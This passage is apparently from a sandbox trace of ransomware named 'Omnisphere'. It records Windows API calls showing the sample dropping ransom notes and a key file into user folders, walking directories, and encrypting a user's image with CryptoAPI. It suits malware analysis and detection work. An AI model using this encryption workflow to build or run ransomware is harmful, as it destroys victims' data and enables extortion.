"c:\\users\\fd1hvy\\contacts\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.849] WriteFile (in: hFile=0x39c, lpBuffer=0x176d568*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176d568*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0162.850] CloseHandle (hObject=0x39c) returned 1 [0162.850] GetProcessHeap () returned 0x1600000 [0162.850] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164c4b8 | out: hHeap=0x1600000) returned 1 [0162.850] GetProcessHeap () returned 0x1600000 [0162.850] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x66) returned 0x163a3b0 [0162.850] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Contacts", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Contacts\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Contacts\\unique_decrypt.key" [0162.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\contacts\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.850] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0162.851] CloseHandle (hObject=0x39c) returned 1 [0162.852] GetProcessHeap () returned 0x1600000 [0162.852] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0162.852] GetProcessHeap () returned 0x1600000 [0162.852] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d1d8 | out: hHeap=0x1600000) returned 1 [0162.852] FindNextFileW (in: hFindFile=0x1639968, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0xf5, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0162.852] FindClose (in: hFindFile=0x1639968 | out: hFindFile=0x1639968) returned 1 [0162.852] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x422a2603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x422a2603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0162.852] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x422a2603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x422a2603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.852] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x422a2603, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x422a2603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x422a2603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.852] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4227c4fd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0162.852] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4227c4fd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4227c4fd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4227c4fd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0162.852] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x422a2603, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x422a2603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x422a2603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.852] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x422a2603, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x422a2603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x422a2603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.852] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0162.852] GetProcessHeap () returned 0x1600000 [0162.852] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161ba68 | out: hHeap=0x1600000) returned 1 [0162.852] GetProcessHeap () returned 0x1600000 [0162.853] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1626e20 | out: hHeap=0x1600000) returned 1 [0162.853] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0162.853] GetProcessHeap () returned 0x1600000 [0162.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3e) returned 0x1626c28 [0162.853] PathCombineW (in: pszDest=0x1626c28, pszDir="C:\\Users\\FD1HVy", pszFile="Cookies" | out: pszDest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies" [0162.853] GetProcessHeap () returned 0x1600000 [0162.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x42) returned 0x161be78 [0162.853] PathCombineW (in: pszDest=0x161be78, pszDir="C:\\Users\\FD1HVy\\Cookies", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\Cookies\\*") returned="C:\\Users\\FD1HVy\\Cookies\\*" [0162.853] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x3e0f8c0, ftCreationTime.dwHighDateTime=0x1626c28, ftLastAccessTime.dwLowDateTime=0x74f83608, ftLastAccessTime.dwHighDateTime=0x1626c28, ftLastWriteTime.dwLowDateTime=0x7fffff09, ftLastWriteTime.dwHighDateTime=0x710d74be, nFileSizeHigh=0x3e0f16c, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0xf5, cFileName="ϠC:\\Users\\FD1HVy\\Cookies", cAlternateFileName="ϠꁇἎϠ폠瓹氨ŢĄ")) returned 0xffffffff [0162.853] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x3e0ec44 | out: lpFindFileData=0x3e0ec44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x422a2603, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x422a2603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x422a2603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="氨Ţ汖Ţ")) returned 0xffffffff [0162.853] GetProcessHeap () returned 0x1600000 [0162.853] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161be78 | out: hHeap=0x1600000) returned 1 [0162.853] GetProcessHeap () returned 0x1600000 [0162.853] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1626c28 | out: hHeap=0x1600000) returned 1 [0162.853] FindNextFileW (in: hFindFile=0x16395a8, lpFindFileData=0x3e0f140 | out: lpFindFileData=0x3e0f140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x17fadf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x17fadf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0162.853] GetProcessHeap () returned 0x1600000 [0162.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3e) returned 0x16270a8 [0162.854] PathCombineW (in: pszDest=0x16270a8, pszDir="C:\\Users\\FD1HVy", pszFile="Desktop" | out: pszDest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0162.854] GetProcessHeap () returned 0x1600000 [0162.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x42) returned 0x161ba68 [0162.854] PathCombineW (in: pszDest=0x161ba68, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\*") returned="C:\\Users\\FD1HVy\\Desktop\\*" [0162.854] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x17fadf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x17fadf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.854] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x17fadf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x17fadf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="..", cAlternateFileName="")) returned 1 [0162.854] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36756b70, ftCreationTime.dwHighDateTime=0x1d4d464, ftLastAccessTime.dwLowDateTime=0x5efdbe90, ftLastAccessTime.dwHighDateTime=0x1d4c7b6, ftLastWriteTime.dwLowDateTime=0x5efdbe90, ftLastWriteTime.dwHighDateTime=0x1d4c7b6, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0xf5, cFileName="- BGCTQP_oc.jpg", cAlternateFileName="-BGCTQ~1.JPG")) returned 1 [0162.854] GetProcessHeap () returned 0x1600000 [0162.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x1691f88 [0162.854] PathCombineW (in: pszDest=0x1691f88, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="- BGCTQP_oc.jpg" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg" [0162.854] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0162.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\- bgctqp_oc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.855] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=15360) returned 1 [0162.855] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x36dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.855] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.855] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] GetTickCount () returned 0x1168719 [0162.856] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668240) returned 1 [0162.857] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0162.857] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0162.857] CryptDestroyKey (hKey=0x1639968) returned 1 [0162.857] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0162.857] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c00, lpName=0x0) returned 0x380 [0162.857] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c00) returned 0x1480000 [0162.857] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668bd0) returned 1 [0162.858] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639968) returned 1 [0162.858] CryptSetKeyParam (hKey=0x1639968, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.858] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.859] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.860] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 